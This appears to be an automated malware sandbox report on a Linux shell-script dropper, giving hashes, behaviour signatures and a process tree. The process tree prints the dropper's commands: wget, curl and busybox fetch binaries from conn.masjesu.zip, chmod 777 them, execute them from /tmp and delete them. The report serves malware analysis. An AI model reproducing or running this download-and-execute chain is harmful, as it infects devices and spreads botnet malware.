Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25/11/2024, 02:53

General

  • Target

    b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh

  • Size

    10KB

  • MD5

    2128d7e395a2eda74b31415f79e2df84

  • SHA1

    eaf344e3ed44c9d46fc9aa91743c11475268dd2b

  • SHA256

    b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84

  • SHA512

    f1a8d87a630d598fce85b893aab3642deed5c779a63c2dc5beab0dfd3a1378e525ad4827d46bb36e8d950fd3fdcd201ba30162865aabba94e1eefe71e68d71a4

  • SSDEEP

    96:YQMyUi6nL7XUL/TsL40hHbWbSq0+B5NWGAf3IL40/1VQ40dd4/4T41G+x1z1zL1n:tYsMkzAc1G+7JzRr8Ac1G+zJzRrG

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
    /tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • System Network Configuration Discovery
          PID:722
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:742
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • System Network Configuration Discovery
          PID:822
        • /bin/chmod
          chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • File and Directory Permissions Modification
          PID:823
        • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Executes dropped EXE
          PID:824
        • /bin/rm
          rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
            PID:825
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • System Network Configuration Discovery
            PID:826
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:827

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

                Filesize

                153B

                MD5

                998368d7c95ea4293237f2320546e440

                SHA1

                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                SHA256

                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                SHA512

                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97